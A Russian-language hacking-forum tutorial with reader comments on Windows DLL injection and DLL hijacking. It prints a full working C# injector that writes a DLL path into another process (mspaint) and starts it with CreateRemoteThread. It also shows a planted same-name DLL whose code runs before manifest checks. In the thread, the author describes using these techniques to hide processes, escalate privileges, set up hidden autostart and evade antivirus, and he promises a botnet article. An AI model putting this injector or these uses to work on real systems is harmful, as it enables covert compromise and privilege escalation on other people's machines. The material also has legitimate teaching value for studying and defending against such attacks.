• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья DLL Injection

Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.

Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.

Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.

DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
C:
 #include <Windows.h>

extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK);
        break;
    }

    case DLL_PROCESS_DETACH:
        break;

    case DLL_THREAD_ATTACH:
        break;

    case DLL_THREAD_DETACH:
        break;
    }
    return true;
}

А далее напишем инжектор и разберем его по частям:

По сути основной смысл находится в этих двух методах
Код:
  public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess; // Получаем процесс куда инжектим
            string dllName = dllPath; // Имя дллки что инжектим
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код
            return 0;
        }

// Здесь же просто вызов метода инжект
        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }

Полностью весь код, целиком:

Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace alphabotcsharp
{
    public class Injection
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId);

        // privileges
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;

        // used for memory allocation
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;

        public static bool isInjected = false;
        [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool IsWow64Process(
            [In] IntPtr hProcess,
            [Out] out bool wow64Process
        );

        static bool is64BitProcess = (IntPtr.Size == 8);
        static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64();

        public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess;
            string dllName = dllPath;
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
            return 0;
        }

        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }
        public static Boolean isInjectedAlready()
        {
            if (isInjected)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        public static bool InternalCheckIsWow64()
        {
            if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||
                Environment.OSVersion.Version.Major >= 6)
            {
                using (Process p = Process.GetCurrentProcess())
                {
                    bool retVal;
                    if (!IsWow64Process(p.Handle, out retVal))
                    {
                        return false;
                    }
                    return retVal;
                }
            }
            else
            {
                return false;
            }
        }
    }

    public class Program
    {
        public static void Main()
        {
            Injection.Execute();
        }
    }
}

Профит
upload_2016-12-25_3-20-44.png


DLL Hijacking
Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.

Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.

Код:
using System.Windows.Forms;

namespace DllValid
{
    public class Validation
    {
        public void GetMessage()
        {
            MessageBox.Show("Я нормальная библиотека");
        }
 
    }
}

А вот код метода Main, когда мы подключим нашу библиотеку.
upload_2016-12-25_3-39-57.png

Код:
using DllValid;

namespace alphabotcsharp
{
    public class Program
    {
        public static void Main()
        {
            Validation message = new Validation();
            message.GetMessage();
        }
    }
}

Убедимся, что всё работает.
upload_2016-12-25_3-44-36.png


Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
upload_2016-12-25_3-51-7.png

Загрузим в утилиту наш билд:

upload_2016-12-25_3-49-46.png

Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.

Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance

В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.

Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
upload_2016-12-25_4-11-49.png


На этом всё, всем спасибо. :)

P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
 

Вложения

  • upload_2016-12-25_3-20-24.png
    upload_2016-12-25_3-20-24.png
    25,8 КБ · Просмотры: 892
  • upload_2016-12-25_3-44-22.png
    upload_2016-12-25_3-44-22.png
    2,3 КБ · Просмотры: 478
Последнее редактирование:

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
Так что же мне делать...желание есть...с чего начать господа...php знаю и что связано с ним...не думаю что будет трудно изучить то что необходимо для понимания тем что здесь освещены!
Сложный вопрос. С чего начать. Хек вообще многогранен. Кто то идет в реверс, кто то ломает бинарные уязвимости, кто то в веб идет, а кто то в сети. Решай площадки коих тысячи, играй в СTF, много читай и много пиши.
 
  • Нравится
Реакции: stilya
S

stilya

Сложный вопрос. С чего начать. Хек вообще многогранен. Кто то идет в реверс, кто то ломает бинарные уязвимости, кто то в веб идет, а кто то в сети. Решай площадки коих тысячи, играй в СTF, много читай и много пиши.
И на том спасибо!
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
И на том спасибо!
Вообще на этот вопрос я бы ответил - Главное начать и постоянно что то делать. А в какую область хека попадешь, ты сам потом решишь. Я пробовал и реверс и пентест, а сейчас решил наскилять в бинарной экплуатации, пока точно не решил в каком направлении я хочу развиваться. А вообще в ИБ я пришел из кодинга.
 
Последнее редактирование:
  • Нравится
Реакции: stilya
S

stilya

Вообще на этот вопрос я бы ответил - Главное начать и постоянно что то делать. А в какую область хека попадешь, ты сам потом решишь. Я пробовал и реверс и пентест, а сейчас решил наскилять в бинарной экплуатации, пока точно не решил в каком направлении я хочу развиваться. А вообще в ИБ я пришел из кодинга.
Спасибо за поддержку...думаю это правильно...нужно что-то делать и по ходу пьесы задавать вопросы если что-то не понятно...думаю здесь помогут!
 
S

smashQ

Как на такой тип атаки реагируют AV и Windows Defender?
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
Как на такой тип атаки реагируют AV и Windows Defender?
Эти техники не используются для байпасса AV. Байпасс AV - это совсем другая история и если говорить о DLL Injection, то будет ли детектится твоя DLL или нет целиком и полностью зависит как ты её написал и закриптовал. А эти техники используются для того, чтобы...
а) Спрятать процесс в диспетчере задач
б) Повысить привилегии за счет запуска кода от привелигированных программ
в) Скрытый автозапуск и другое.
 
  • Нравится
Реакции: BaJIepraH
S

smashQ

Эти техники не используются для байпасса AV. Байпасс AV - это совсем другая история и если говорить о DLL Injection, то будет ли детектится твоя DLL или нет целиком и полностью зависит как ты её написал и закриптовал. А эти техники используются для того, чтобы...
а) Спрятать процесс в диспетчере задач
б) Повысить привилегии за счет запуска кода от привелигированных программ
в) Скрытый автозапуск и другое.
Большое спасибо за содержательный ответ!
 
P

pavelpasha

А быть с инжектом C# библиотек? Ведь там не точки входя насколько я знаю. Допустим в случае с тем же С# ботнетом как поступить?
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
Я здесь же на форуме выкладывал сорцы инжектора
 
P

pavelpasha

Я здесь же на форуме выкладывал сорцы инжектора
Этот? link removed Он отлично инжектит С++ дллки, но написанные на C# не работают. По крайней мере у меня. Я собирал DDL из примера "dllSooLFaa.dll" и ничего не происходит. Собирал под разные платформы (64/32) как dll так и сам инжектор. Не знаю как быть.
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
7
А есть методы подмены DLL попроще,для не сильно сведущих в программировании ? ) Что то вроде того,как упаковывается DLL в cab и через wusa запускается. На свежих версиях винды вроде уже не работает
 
16.09.2019
3
0
BIT
0
}
Эти техники не используются для байпасса AV. Байпасс AV - это совсем другая история и если говорить о DLL Injection, то будет ли детектится твоя DLL или нет целиком и полностью зависит как ты её написал и закриптовал. А эти техники используются для того, чтобы...
а) Спрятать процесс в диспетчере задач
б) Повысить привилегии за счет запуска кода от привелигированных программ
в) Скрытый автозапуск и другое.
А для перехвата нажатия клавиш и скриншота, тоже используется эта техника?
 

Aleks Binakril

Green Team
04.12.2019
38
5
BIT
0
раньше думал что только на асме и си можно писать машинный кодес, а тут если не ошибаюсь на шарпе такая реализация весьма эпично
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
}
А для перехвата нажатия клавиш и скриншота, тоже используется эта техника?
Кучу техник. Это используется в основном в рамках privesc

Этот? link removed Он отлично инжектит С++ дллки, но написанные на C# не работают. По крайней мере у меня. Я собирал DDL из примера "dllSooLFaa.dll" и ничего не происходит. Собирал под разные платформы (64/32) как dll так и сам инжектор. Не знаю как быть.
Статья двух годичной давности. Подозреваю, что .Net сильно изменился.
P.S. Не знаю, зачем вообще поднята эта тема.
 

Aleks Binakril

Green Team
04.12.2019
38
5
BIT
0
не смотря на то что язык программирования усовершенствовался а методики инжекта в системные дллки остался прежним,
поэтому все актуально я так полагаю, хотя наверно на 64 битных системах все немного иначе, ведь система выделения памяти для процессов иначе чем на 32 битных линейках
 

NeoOne

One Level
20.01.2020
5
2
BIT
0
Впринципе хорошая тема... только мне пока на ум не пришло как это можно использывать.. На удаленной машине если у тебя нету прав, ты не можешь манипулировать с файлами - аплоид мув и т.д
соответственно если у тебя нету прав ты не можешь загрузить свою длл и код для инжекта который реализует все в какой то процесс... а если у тебя есть права так зачем тебе тогда что то инжектить если ты и так с привилегиями наивышими.. или я что то не понимаю.. Админ, друг объясни)))
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
Впринципе хорошая тема... только мне пока на ум не пришло как это можно использывать.. На удаленной машине если у тебя нету прав, ты не можешь манипулировать с файлами - аплоид мув и т.д
соответственно если у тебя нету прав ты не можешь загрузить свою длл и код для инжекта который реализует все в какой то процесс... а если у тебя есть права так зачем тебе тогда что то инжектить если ты и так с привилегиями наивышими.. или я что то не понимаю.. Админ, друг объясни)))
Эта техника используется в основном для поднятия привелегии, когда какая то программа запускается под админом. Второй вариант для скорытия процесса или обхода АВ.
 
  • Нравится
Реакции: NeoOne

NeoOne

One Level
20.01.2020
5
2
BIT
0
Эта техника используется в основном для поднятия привелегии, когда какая то программа запускается под админом. Второй вариант для сокрытия процесса или обхода АВ.
Я написал вопрос и спустя пару часов допер. Спасибо за ответ!
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!